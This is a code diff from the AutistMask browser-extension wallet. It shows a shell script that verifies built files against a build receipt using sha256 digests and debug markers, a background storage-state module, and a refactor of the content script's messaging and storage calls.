# Absolute path to this script, resolved before anything cd's anywhere.
|
||||
# check_dist_tree re-invokes it through xargs, and $0 on its own may be
|
||||
# relative to a directory we are about to leave.
|
||||
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
|
||||
|
||||
# Internal re-entry flag; see scan_dist_paths.
|
||||
SCAN_FLAG="--scan-dist-paths"
|
||||
|
||||
# A literal newline and tab, for the receipt-shape guards.
|
||||
NEWLINE='
|
||||
'
|
||||
TAB=' '
|
||||
|
||||
MARKER_ON="autistmask-build-debug=on"
|
||||
MARKER_OFF="autistmask-build-debug=off"
|
||||
|
||||
RECEIPT_HEADER="autistmask-build-receipt v1"
|
||||
|
||||
# Set by the arguments.
|
||||
RECEIPT=""
|
||||
EXPECT=""
|
||||
|
||||
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
|
||||
# receipt line number the diagnostics quote.
|
||||
MARKER=""
|
||||
SHA=""
|
||||
ENTRY_HASH=""
|
||||
ENTRY_FLAG=""
|
||||
ENTRY_PATH=""
|
||||
LINENO_R=0
|
||||
|
||||
# The sha256 command, chosen by pick_sha256.
|
||||
SHA256=""
|
||||
|
||||
# Totals: the shape pass counts what the receipt claims, the entries pass
|
||||
# counts what was actually checked against dist/, and the summary reports the
|
||||
# latter.
|
||||
SHAPE_COUNT=0
|
||||
SHAPE_AUDITED=0
|
||||
COUNT=0
|
||||
AUDITED=0
|
||||
|
||||
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
|
||||
# trap because fail() exits from wherever it is called.
|
||||
LISTING=""
|
||||
|
||||
fail() {
|
||||
echo "verify-build: FAIL: $*" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
usage() {
|
||||
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
|
||||
}
|
||||
|
||||
cleanup() {
|
||||
[ -z "$LISTING" ] || rm -f "$LISTING"
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
# --- reading files ----------------------------------------------------------
|
||||
|
||||
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
|
||||
# (exit 1) are answers about the emitted output. Anything else (exit 2: the
|
||||
# file could not be read) is not an answer at all, and must not be reported as
|
||||
# "no marker" — that would blame the bundle for a permissions or I/O fault.
|
||||
has_marker() {
|
||||
_hm_status=0
|
||||
grep -q -F -e "$1" -- "$2" || _hm_status=$?
|
||||
case "$_hm_status" in
|
||||
0) return 0 ;;
|
||||
1) return 1 ;;
|
||||
*)
|
||||
fail "grep exited $_hm_status reading $2, so the file could not be
|
||||
searched and its DEBUG state was not checked at all. That is a permissions
|
||||
or I/O fault on the artifact, not a change in the emitted output. Refusing
|
||||
to report success."
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Pick the sha256 command once. All three print the digest as the first
|
||||
# whitespace-delimited field. If none is present the digests cannot be taken at
|
||||
# all, and this script has nothing left to check with, so it fails rather than
|
||||
# degrading to the marker grep it used to be.
|
||||
pick_sha256() {
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
SHA256="sha256sum"
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
SHA256="shasum -a 256"
|
||||
elif command -v openssl >/dev/null 2>&1; then
|
||||
SHA256="openssl dgst -sha256 -r"
|
||||
else
|
||||
fail "no sha256 command found (tried sha256sum, shasum, openssl), so
|
||||
the emitted files cannot be checked against the build receipt at all.
|
||||
Refusing to report success."
|
||||
fi
|
||||
}
|
||||
|
||||
# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
|
||||
# not a pass: it means the artifact was never read.
|
||||
read_sha256() {
|
||||
_rs_status=0
|
||||
# Word-split on purpose: SHA256 is a command with its arguments.
|
||||
# shellcheck disable=SC2086
|
||||
_rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
|
||||
[ "$_rs_status" -eq 0 ] ||
|
||||
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
|
||||
and nothing was established about them. That is a permissions or I/O fault
|
||||
on the artifact, not a mismatch. Refusing to report success."
|
||||
|
||||
SHA="${_rs_out%% *}"
|
||||
case "$SHA" in
|
||||
"" | *[!0-9a-f]*)
|
||||
fail "$SHA256 produced no usable digest for $1, so its bytes were never
|
||||
checked. Refusing to report success."
|
||||
;;
|
||||
esac
|
||||
[ "${#SHA}" -eq 64 ] ||
|
||||
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
|
||||
a sha256. Refusing to report success."
|
||||
}
|
||||
|
||||
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be
|
||||
# present. Both means the ternary in constants.js was never folded, which is
|
||||
# what happens when the __BUILD_DEBUG__ define goes missing from build.js:
|
||||
# DEBUG stops being known at build time. Neither means we are reading output
|
||||
# we do not understand. Both are hard failures; neither is ever treated as
|
||||
# absence of a problem.
|
||||
read_marker() {
|
||||
_file="$1"
|
||||
_on=no
|
||||
_off=no
|
||||
if has_marker "$MARKER_ON" "$_file"; then _on=yes; fi
|
||||
if has_marker "$MARKER_OFF" "$_file"; then _off=yes; fi
|
||||
|
||||
if [ "$_on" = yes ] && [ "$_off" = yes ]; then
|
||||
fail "$_file carries both debug markers, so DEBUG was not resolved at
|
||||
build time: the ternary in src/shared/constants.js survived into the
|
||||
emitted output. This does not mean the debug branch is live in this
|
||||
artifact: an unresolved __BUILD_DEBUG__ is undeclared in extension
|
||||
context, so DEBUG evaluates to false at runtime. It does mean the
|
||||
release/debug distinction is no longer enforced at build time, and which
|
||||
way that fallback happens to evaluate is then an accident a refactor can
|
||||
flip. Check that build.js still defines __BUILD_DEBUG__."
|
||||
fi
|
||||
if [ "$_on" = no ] && [ "$_off" = no ]; then
|
||||
fail "$_file carries no debug marker, so its DEBUG state cannot be
|
||||
determined. Either BUILD_DEBUG_MARKER is gone from src/shared/constants.js
|
||||
or the emitted output changed shape. Refusing to report success."
|
||||
fi
|
||||
|
||||
if [ "$_on" = yes ]; then
|
||||
MARKER="$MARKER_ON"
|
||||
else
|
||||
MARKER="$MARKER_OFF"
|
||||
fi
|
||||
}
|
||||
|
||||
# --- the receipt ------------------------------------------------------------
|
||||
|
||||
# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
|
||||
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
|
||||
# remainder of the line, so a path carrying a space or a tab would be read back
|
||||
# as something other than what was written; build.js refuses to emit such a
|
||||
# name, and a receipt that contains one is malformed rather than describing a
|
||||
# file. Every rejection here is a failure: a line that cannot be understood is
|
||||
# a file that would otherwise go unchecked.
|
||||
parse_file_line() {
|
||||
case "$1" in
|
||||
"file "*) ;;
|
||||
*)
|
||||
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
|
||||
not know what it means: ${1}. Refusing to report success."
|
||||
;;
|
||||
esac
|
||||
|
||||
_pl="${1#file }"
|
||||
ENTRY_HASH="${_pl%% *}"
|
||||
_pl="${_pl#* }"
|
||||
ENTRY_FLAG="${_pl%% *}"
|
||||
ENTRY_PATH="${_pl#* }"
|
||||
|
||||
case "$ENTRY_HASH" in
|
||||
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
|
||||
esac
|
||||
[ "${#ENTRY_HASH}" -eq 64 ] ||
|
||||
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
|
||||
which is not a sha256: $1"
|
||||
|
||||
case "$ENTRY_FLAG" in
|
||||
A | P) ;;
|
||||
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
|
||||
esac
|
||||
|
||||
case "$ENTRY_PATH" in
|
||||
dist/*) ;;
|
||||
*)
|
||||
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
|
||||
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
|
||||
;;
|
||||
esac
|
||||
case "$ENTRY_PATH" in
|
||||
*" "* | *"$TAB"* | *"$NEWLINE"*)
|
||||
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
|
||||
cannot be read back unambiguously from a line-oriented receipt: $1"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Check one emitted file against its receipt entry: it must be a regular file
|
||||
# with exactly the recorded bytes, and its debug marker must match what the
|
||||
# caller said this build was.
|
||||
check_entry() {
|
||||
[ ! -h "$ENTRY_PATH" ] ||
|
||||
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
|
||||
build emits regular files only, so this is not the file it wrote. Refusing
|
||||
to report success."
|
||||
[ -f "$ENTRY_PATH" ] ||
|
||||
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
|
||||
not hold what the build emitted."
|
||||
[ -s "$ENTRY_PATH" ] ||
|
||||
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
|
||||
carries no marker and matches no digest, so this is a failure and not a
|
||||
pass."
|
||||
|
||||
read_sha256 "$ENTRY_PATH"
|
||||
[ "$SHA" = "$ENTRY_HASH" ] ||
|
||||
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
|
||||
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
|
||||
to dist/ after the build, so this artifact is not the one that was built."
|
||||
|
||||
if [ "$ENTRY_FLAG" = A ]; then
|
||||
read_marker "$ENTRY_PATH"
|
||||
[ "$MARKER" = "$EXPECT" ] ||
|
||||
fail "$ENTRY_PATH is $MARKER but this build was told to expect
|
||||
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
|
||||
build, that is why: the flag still reaches the compiler, and this is the
|
||||
check that stops the debug artifact being taken for a release one."
|
||||
echo " ok: $ENTRY_PATH ($MARKER)"
|
||||
AUDITED=$((AUDITED + 1))
|
||||
else
|
||||
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
|
||||
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
|
||||
fail "$ENTRY_PATH carries a debug marker but the build did not
|
||||
record it as containing src/shared/constants.js. build.js selects audited
|
||||
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
|
||||
set means the test no longer describes what is emitted, and the DEBUG state
|
||||
of this file was never asserted against anything."
|
||||
fi
|
||||
fi
|
||||
COUNT=$((COUNT + 1))
|
||||
}
|
||||
|
||||
# Walk the receipt line by line, applying $1 to each file entry. The header and
|
||||
# the root line are checked on the way past; the root line is what stops a
|
||||
# receipt written by a build of some other tree being pointed at this one.
|
||||
walk_receipt() {
|
||||
_wr_each="$1"
|
||||
LINENO_R=0
|
||||
_line=""
|
||||
while IFS= read -r _line || [ -n "$_line" ]; do
|
||||
LINENO_R=$((LINENO_R + 1))
|
||||
if [ "$LINENO_R" -eq 1 ]; then
|
||||
[ "$_line" = "$RECEIPT_HEADER" ] ||
|
||||
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
|
||||
is not a build receipt this script understands. Refusing to report
|
||||
success."
|
||||
continue
|
||||
fi
|
||||
if [ "$LINENO_R" -eq 2 ]; then
|
||||
[ "$_line" = "root $ROOT" ] ||
|
||||
fail "$RECEIPT was written by a build of a different tree: it
|
||||
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
|
||||
the tree it was built in."
|
||||
continue
|
||||
fi
|
||||
parse_file_line "$_line"
|
||||
"$_wr_each"
|
||||
done <"$RECEIPT"
|
||||
|
||||
[ "$LINENO_R" -ge 2 ] ||
|
||||
fail "$RECEIPT is truncated: it has no root line, so it is not a
|
||||
receipt this script can check anything against."
|
||||
}
|
||||
|
||||
# Pass one: the receipt has to be a receipt before anything is concluded from
|
||||
# it. A line this script cannot read is a file that would go unchecked, and a
|
||||
# receipt naming no audited bundle asserts no DEBUG state at all — both are
|
||||
# failures, and both have to be established before the tree is walked against
|
||||
# it, because a receipt entry that was misread would otherwise surface as a
|
||||
# complaint about dist/.
|
||||
count_entry() {
|
||||
SHAPE_COUNT=$((SHAPE_COUNT + 1))
|
||||
if [ "$ENTRY_FLAG" = A ]; then
|
||||
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
|
||||
fi
|
||||
}
|
||||
|
||||
check_receipt_shape() {
|
||||
SHAPE_COUNT=0
|
||||
SHAPE_AUDITED=0
|
||||
walk_receipt count_entry
|
||||
|
||||
[ "$SHAPE_COUNT" -gt 0 ] ||
|
||||
fail "$RECEIPT names no emitted files, so nothing was inspected. A
|
||||
build always emits some."
|
||||
[ "$SHAPE_AUDITED" -gt 0 ] ||
|
||||
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
|
||||
no DEBUG state would be asserted at all. That is never correct, so it is a
|
||||
failure and not a pass."
|
||||
}
|
||||
|
||||
# Pass three: every file the receipt names, checked against the bytes on disk.
|
||||
check_receipt_entries() {
|
||||
walk_receipt check_entry
|
||||
}
|
||||
|
||||
# --- the emitted tree -------------------------------------------------------
|
||||
|
||||
# The receipt says which files the build emitted. This says dist/ contains no
|
||||
# others: an artifact that was added after the build, or that a hand-written
|
||||
# dist/ brought with it, is not something the build vouches for and is not
|
||||
# something this check may pass over.
|
||||
#
|
||||
# The walk has to be exhaustive and every name has to survive it intact, so
|
||||
# four things are enforced rather than assumed:
|
||||
#
|
||||
# - the walk is NUL-delimited and the paths reach the check as arguments, so
|
||||
# no name can be reshaped on the way in. Read line by line, a name with a
|
||||
# trailing space lost it to read's field splitting and the remnant then
|
||||
# matched a listed path, and a name containing a newline arrived as a
|
||||
# listed path plus an empty one. Both left an unchecked file in dist/ while
|
||||
# the script still reported success.
|
||||
# - find's exit status is checked. A subtree it cannot descend is reported on
|
||||
# stderr and then simply missing from the listing, so an unchecked status
|
||||
# turns "could not look" into "nothing was there" — the same conflation
|
||||
# has_marker exists to prevent. The status cannot be read off a pipeline,
|
||||
# so the listing lands in a file that xargs then reads back.
|
||||
# - symlinks are walked too (-type l), not skipped. The build emits none, so
|
||||
# a symlink under dist/ is a path the build did not produce, whatever it
|
||||
# points at, and it fails as one instead of being read through.
|
||||
# - dist/ itself must be a directory and not a symlink, which main asserts
|
||||
# before anything reads through it. find does not follow a symlink named on
|
||||
# its own command line, so a linked dist/ collapses this walk to one entry
|
||||
# and cross-checks nothing.
|
||||
#
|
||||
# Types other than regular files and symlinks — fifos, sockets, device nodes and
|
||||
# empty directories — are left out on purpose, and the guarantee is bounded to
|
||||
# what is walked: a build emits none of them, none can carry a shippable
|
||||
# payload, and grep on a fifo would hang rather than fail.
|
||||
check_dist_tree() {
|
||||
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
|
||||
fail "could not create a temporary file for the dist/ listing, so the
|
||||
tree was never walked. Refusing to report success."
|
||||
|
||||
_find_status=0
|
||||
find dist \( -type f -o -type l \) -print0 >"$LISTING" || _find_status=$?
|
||||
[ "$_find_status" -eq 0 ] ||
|
||||
fail "find exited $_find_status enumerating dist/, so part of the tree
|
||||
was never walked and nothing was established about the files in it. Any
|
||||
file the build did not emit could be sitting there unchecked. That is a
|
||||
permissions or I/O fault on the artifact. Refusing to report success."
|
||||
|
||||
_scan_status=0
|
||||
xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
|
||||
[ "$_scan_status" -eq 0 ] ||
|
||||
fail "the dist/ tree scan exited $_scan_status: either a path under
|
||||
dist/ failed the check reported above, or the scan could not be run at all.
|
||||
Refusing to report success."
|
||||
}
|
||||
|
||||
# Does the receipt name the path $1? Compared as whole strings, never through
|
||||
# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
|
||||
# the place to put one. The receipt's own paths are known to carry no
|
||||
# whitespace by the time this runs — verify_receipt failed the run otherwise —
|
||||
# so stripping the three leading fields recovers each one exactly.
|
||||
receipt_names() {
|
||||
_rn_want="$1"
|
||||
_rn_line=""
|
||||
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
|
||||
case "$_rn_line" in
|
||||
"file "*) ;;
|
||||
*) continue ;;
|
||||
esac
|
||||
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
|
||||
done <"$RECEIPT"
|
||||
return 1
|
||||
}
|
||||
|
||||
# The per-path half of check_dist_tree. It runs in a re-invocation of this
|
||||
# script, so it uses the same helpers as the rest of the file rather than a
|
||||
# second copy of them that could drift. Paths arrive as arguments and are never
|
||||
# split, joined or trimmed.
|
||||
scan_dist_paths() {
|
||||
for _file in "$@"; do
|
||||
if [ -h "$_file" ]; then
|
||||
fail "$_file is a symlink under dist/. The build emits regular
|
||||
files only, so this path is not something it produced, and what it points
|
||||
at is not what was verified. Refusing to report success."
|
||||
fi
|
||||
if receipt_names "$_file"; then
|
||||
continue
|
||||
fi
|
||||
fail "$_file is under dist/ but the build that just ran did not emit
|
||||
it. dist/ must contain exactly what the build produced: an extra file there
|
||||
is an artifact nothing vouches for, and shipping the directory ships it."
|
||||
done
|
||||
}
|
||||
|
||||
# --- arguments --------------------------------------------------------------
|
||||
|
||||
# The expected mode and the receipt are stated by the caller. Nothing is read
|
||||
# from the environment, and there is no default for either.
|
||||
parse_args() {
|
||||
while [ "$#" -gt 0 ]; do
|
||||
case "$1" in
|
||||
--expect)
|
||||
[ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
|
||||
set_expect "$2"
|
||||
shift 2
|
||||
;;
|
||||
--expect=*)
|
||||
set_expect "${1#--expect=}"
|
||||
shift
|
||||
;;
|
||||
--receipt)
|
||||
[ "$#" -ge 2 ] || fail "--receipt needs a path."
|
||||
set_receipt "$2"
|
||||
shift 2
|
||||
;;
|
||||
--receipt=*)
|
||||
set_receipt "${1#--receipt=}"
|
||||
shift
|
||||
;;
|
||||
*)
|
||||
usage
|
||||
fail "unknown argument: $1"
|
||||
;;
|
||||
esac
|
||||
done
|
||||
}
|
||||
|
||||
set_expect() {
|
||||
[ -z "$EXPECT" ] || fail "--expect given more than once."
|
||||
case "$1" in
|
||||
release) EXPECT="$MARKER_OFF" ;;
|
||||
debug) EXPECT="$MARKER_ON" ;;
|
||||
*) fail "--expect takes release or debug, not \"$1\"." ;;
|
||||
esac
|
||||
}
|
||||
|
||||
set_receipt() {
|
||||
[ -z "$RECEIPT" ] || fail "--receipt given more than once."
|
||||
[ -n "$1" ] || fail "--receipt was given an empty path."
|
||||
# Resolved against the caller's directory, before main cd's to the repo
|
||||
# root.
|
||||
case "$1" in
|
||||
/*) RECEIPT="$1" ;;
|
||||
*) RECEIPT="$PWD/$1" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# --- main -------------------------------------------------------------------
|
||||
|
||||
main() {
|
||||
# Internal re-entry from check_dist_tree's xargs. Not part of the
|
||||
# command-line interface: nothing else invokes it, and it is a distinct
|
||||
# entry point rather than a mode flag threaded through the checks below.
|
||||
if [ "${1-}" = "$SCAN_FLAG" ]; then
|
||||
shift
|
||||
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
|
||||
RECEIPT="$1"
|
||||
shift
|
||||
cd "$ROOT"
|
||||
[ -r "$RECEIPT" ] ||
|
||||
fail "$RECEIPT became unreadable during the run, so the dist/ tree
|
||||
could not be checked against it. Refusing to report success."
|
||||
scan_dist_paths "$@"
|
||||
return 0
|
||||
fi
|
||||
|
||||
parse_args "$@"
|
||||
|
||||
[ -n "$EXPECT" ] || {
|
||||
usage
|
||||
fail "no --expect argument. The mode this build was supposed to produce
|
||||
has to be stated by whoever ran the build; it is not a default and it is
|
||||
not read from AUTISTMASK_DEBUG in this script's environment, because an
|
||||
operator with that exported would then have their debug build verified as
|
||||
the release one they asked for."
|
||||
}
|
||||
[ -n "$RECEIPT" ] || {
|
||||
usage
|
||||
fail "no --receipt argument. The list of files to check comes from the
|
||||
build that just ran, not from dist/: without it, a hand-written dist/ would
|
||||
be verifying itself. make build and make build-debug pass one."
|
||||
}
|
||||
|
||||
pick_sha256
|
||||
cd "$ROOT"
|
||||
|
||||
# Asserted here rather than left to grep. A symlinked dist/ used to fail
|
||||
# only because GNU grep exits 2 on a directory, so the tree walk hit
|
||||
# has_marker's I/O path by luck; under a grep that exits 1 instead, the
|
||||
# whole cross-check would have collapsed into a pass.
|
||||
if [ -h dist ]; then
|
||||
fail "dist is a symlink, not a directory. find does not follow a
|
||||
symlink named on its own command line, so the tree walk would see one entry
|
||||
instead of the emitted tree and establish nothing about it. Refusing to
|
||||
report success."
|
||||
fi
|
||||
[ -d dist ] ||
|
||||
fail "dist is not a directory, so there is no emitted tree to verify.
|
||||
build.js writes it; run make build first."
|
||||
|
||||
case "$RECEIPT" in
|
||||
"$ROOT/dist" | "$ROOT/dist/"*)
|
||||
fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
|
||||
the tree it describes is rewritten by whoever rewrites the tree, and vouches
|
||||
for nothing. make build keeps it outside the repo."
|
||||
;;
|
||||
esac
|
||||
|
||||
[ -e "$RECEIPT" ] ||
|
||||
fail "$RECEIPT is missing. build.js writes it at the end of a
|
||||
successful build; run make build rather than invoking this directly."
|
||||
[ -f "$RECEIPT" ] ||
|
||||
fail "$RECEIPT is not a regular file, so it is not a build receipt."
|
||||
[ -s "$RECEIPT" ] ||
|
||||
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
|
||||
no account of what it emitted. build.js writes the receipt last, so an
|
||||
empty one means the build did not finish."
|
||||
[ -r "$RECEIPT" ] ||
|
||||
fail "$RECEIPT is not readable, so nothing was inspected. That is a
|
||||
permissions or I/O fault, not a pass."
|
||||
|
||||
echo "Verifying emitted files against the build receipt (expecting" \
|
||||
"$EXPECT)..."
|
||||
|
||||
# Order matters. The receipt has to be well-formed before it is used as an
|
||||
# expectation, and the tree has to be walkable in full before any single
|
||||
# file in it is pronounced on: a subtree that cannot be descended makes
|
||||
# every file under it look absent, and "could not look" must never be
|
||||
# reported as "was not there".
|
||||
check_receipt_shape
|
||||
check_dist_tree
|
||||
check_receipt_entries
|
||||
|
||||
echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
|
||||
"$AUDITED bundle(s) $EXPECT"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,96 +0,0 @@
|
||||
// The background's access to the persisted profile.
|
||||
//
|
||||
// There is no in-memory copy here, and that is the whole design. The MV3
|
||||
// service worker is terminated when idle and revived by the next message, so
|
||||
// anything held at module scope is either absent or arbitrarily stale, and
|
||||
// src/shared/state.js's module-level `state` singleton — which nothing in the
|
||||
// worker ever populates — silently served DEFAULT_STATE to whoever read it.
|
||||
// Five defects came out of that (https://git.eeqj.de/sneak/AutistMask/issues/324),
|
||||
// and every point fix for one of them added a loadState() that created the
|
||||
// next: loading detaches the objects an in-flight handler is holding.
|
||||
//
|
||||
// So the background reads per call and writes read-modify-write:
|
||||
//
|
||||
// getState() one storage read, normalized, detached. Nothing else
|
||||
// holds the object it returns, so a handler may keep it
|
||||
// across any number of awaits and no concurrent work can
|
||||
// move it.
|
||||
// updateState(fn) read fresh, apply fn to that fresh record, write it
|
||||
// back — all inside a queue, so two background writes
|
||||
// never interleave, and the read is one storage round trip
|
||||
// ahead of the write rather than a page lifetime ahead of
|
||||
// it (which is what made the popup's saveState() need a
|
||||
// per-field merge against a baseline at all).
|
||||
//
|
||||
// A handler that must both read and write therefore does its network work
|
||||
// against a snapshot it owns, and applies the RESULT inside updateState().
|
||||
// It never publishes an object other in-flight work is holding.
|
||||
|
||||
const { storageGet, storageSet } = require("../shared/browserApi");
|
||||
const { normalizePersisted } = require("../shared/persistedState");
|
||||
const {
|
||||
STATE_SCHEMA_VERSION,
|
||||
assertStateUsable,
|
||||
} = require("../shared/stateSchema");
|
||||
|
||||
// A fresh, fully-normalized, detached copy of the persisted profile.
|
||||
//
|
||||
// Normalized rather than raw: a legacy or malformed record is self-healed the
|
||||
// same way loadState() heals it for the popup, so the background is never the
|
||||
// one context reasoning about a shape the rest of the extension repairs.
|
||||
//
|
||||
// Throws StateUnusableError for a record this build cannot make sense of,
|
||||
// before normalization gets a chance to paper over it — the same gate, in the
|
||||
// same place, as the popup's loadState(). Every handler that consults the
|
||||
// profile comes through here, so a dApp call against such a record is answered
|
||||
// with the specific error the dispatcher maps that to (src/background/index.js)
|
||||
// rather than dereferencing its way into a generic -32603.
|
||||
async function getState() {
|
||||
const result = await storageGet("autistmask");
|
||||
assertStateUsable(result.autistmask);
|
||||
return normalizePersisted(result.autistmask);
|
||||
}
|
||||
|
||||
// Serializes the read-modify-write turns below. Two of them interleaved would
|
||||
// each read before the other wrote, and the second write would carry the first
|
||||
// one's fields back to their pre-turn values.
|
||||
let updateQueue = Promise.resolve();
|
||||
|
||||
async function updateStateOnce(mutate) {
|
||||
const s = await getState();
|
||||
await mutate(s);
|
||||
s.hasWallet = Boolean(s.wallets && s.wallets.length > 0);
|
||||
// Stamped on every write, exactly as the popup's saveState() stamps it:
|
||||
// whichever context writes last, the record in storage is in this build's
|
||||
// shape and says so.
|
||||
s.schemaVersion = STATE_SCHEMA_VERSION;
|
||||
await storageSet({ autistmask: s });
|
||||
return s;
|
||||
}
|
||||
|
||||
// Apply `mutate` to a record read fresh from storage and write the result
|
||||
// back. `mutate` receives a detached, normalized profile and mutates it in
|
||||
// place; it may be async, but it must not do anything slow — the window
|
||||
// between the read and the write is the window in which another context's
|
||||
// write is lost, and keeping it to one storage round trip is what makes a
|
||||
// whole-record write safe here. Concretely: the write is the WHOLE record, so
|
||||
// a popup write that lands inside that window is reverted, in every field, by
|
||||
// the record this turn read before it. That is accepted because the window is
|
||||
// one round trip long and the popup is not writing while the worker is;
|
||||
// widening it is what would make it a real hazard.
|
||||
//
|
||||
// `mutate` must also not call updateState() itself, directly or through
|
||||
// anything it awaits: the queue is strictly serial, so the inner turn waits on
|
||||
// the outer one, which is waiting on the inner one. That deadlocks the whole
|
||||
// background, not just the caller. Mutate the record you were handed.
|
||||
//
|
||||
// Resolves with the record that was written.
|
||||
function updateState(mutate) {
|
||||
const turn = updateQueue.then(() => updateStateOnce(mutate));
|
||||
// The queue must advance even when a turn rejects, or every update after
|
||||
// it queues behind a promise that never settles.
|
||||
updateQueue = turn.catch(() => {});
|
||||
return turn;
|
||||
}
|
||||
|
||||
module.exports = { getState, updateState };
|
||||
@@ -1,20 +1,12 @@
|
||||
// AutistMask content script — bridges between inpage (window.ethereum)
|
||||
// and the background service worker via extension messaging.
|
||||
|
||||
const {
|
||||
hasBrowserNamespace,
|
||||
runtimeApi,
|
||||
sendMessage,
|
||||
storageGet,
|
||||
storageSet,
|
||||
} = require("../shared/browserApi");
|
||||
|
||||
// In Chrome (MV3), inpage.js runs as a MAIN-world content script declared
|
||||
// in the manifest, so no injection is needed here. In Firefox (MV2), the
|
||||
// "world" key is not supported, so we inject via a <script> tag.
|
||||
if (hasBrowserNamespace()) {
|
||||
if (typeof browser !== "undefined") {
|
||||
const script = document.createElement("script");
|
||||
script.src = runtimeApi().getURL("src/content/inpage.js");
|
||||
script.src = browser.runtime.getURL("src/content/inpage.js");
|
||||
script.onload = function () {
|
||||
this.remove();
|
||||
};
|
||||
@@ -22,27 +14,23 @@ if (hasBrowserNamespace()) {
|
||||
}
|
||||
|
||||
// Send the persisted EIP-6963 provider UUID to the inpage script.
|
||||
// Generated once at install time and stored in extension storage.
|
||||
(async function sendProviderUuid() {
|
||||
let uuid = null;
|
||||
try {
|
||||
const items = await storageGet("eip6963Uuid");
|
||||
uuid = items?.eip6963Uuid;
|
||||
// Generated once at install time and stored in chrome.storage.local.
|
||||
(function sendProviderUuid() {
|
||||
const storage =
|
||||
typeof browser !== "undefined"
|
||||
? browser.storage.local
|
||||
: chrome.storage.local;
|
||||
storage.get("eip6963Uuid", (items) => {
|
||||
let uuid = items?.eip6963Uuid;
|
||||
if (!uuid) {
|
||||
uuid = crypto.randomUUID();
|
||||
await storageSet({ eip6963Uuid: uuid });
|
||||
}
|
||||
} catch {
|
||||
// Storage was unavailable or refused the write. The announcement
|
||||
// still has to go out — a provider that never announces is invisible
|
||||
// to every EIP-6963 dApp — so it goes under a fresh uuid that this
|
||||
// page load will not outlive.
|
||||
if (!uuid) uuid = crypto.randomUUID();
|
||||
storage.set({ eip6963Uuid: uuid });
|
||||
}
|
||||
window.postMessage(
|
||||
{ type: "AUTISTMASK_PROVIDER_UUID", uuid },
|
||||
location.origin,
|
||||
);
|
||||
});
|
||||
})();
|
||||
|
||||
// Relay requests from the page to the background script
|
||||
@@ -51,31 +39,27 @@ window.addEventListener("message", (event) => {
|
||||
if (event.data?.type !== "AUTISTMASK_REQUEST") return;
|
||||
const { id, method, params } = event.data;
|
||||
|
||||
sendMessage({
|
||||
type: "AUTISTMASK_RPC",
|
||||
id,
|
||||
method,
|
||||
params,
|
||||
origin: location.origin,
|
||||
})
|
||||
.then((response) => {
|
||||
const runtime =
|
||||
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
|
||||
|
||||
runtime.sendMessage(
|
||||
{ type: "AUTISTMASK_RPC", id, method, params, origin: location.origin },
|
||||
(response) => {
|
||||
if (response) {
|
||||
window.postMessage(
|
||||
{ type: "AUTISTMASK_RESPONSE", id, ...response },
|
||||
"*",
|
||||
);
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
// No receiver: the background context is gone. The page's promise
|
||||
// stays pending, which is what it did before this was a promise
|
||||
// at all; turning it into a rejection here is a change to what
|
||||
// dApps see and belongs to its own issue.
|
||||
});
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
// Listen for events pushed from the background (e.g. accountsChanged)
|
||||
runtimeApi().onMessage.addListener((msg) => {
|
||||
const runtime =
|
||||
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
|
||||
|
||||
runtime.onMessage.addListener((msg) => {
|
||||
if (msg.type === "AUTISTMASK_EVENT") {
|
||||
window.postMessage(
|
||||
{
|
||||
|
||||
@@ -2,48 +2,12 @@
|
||||
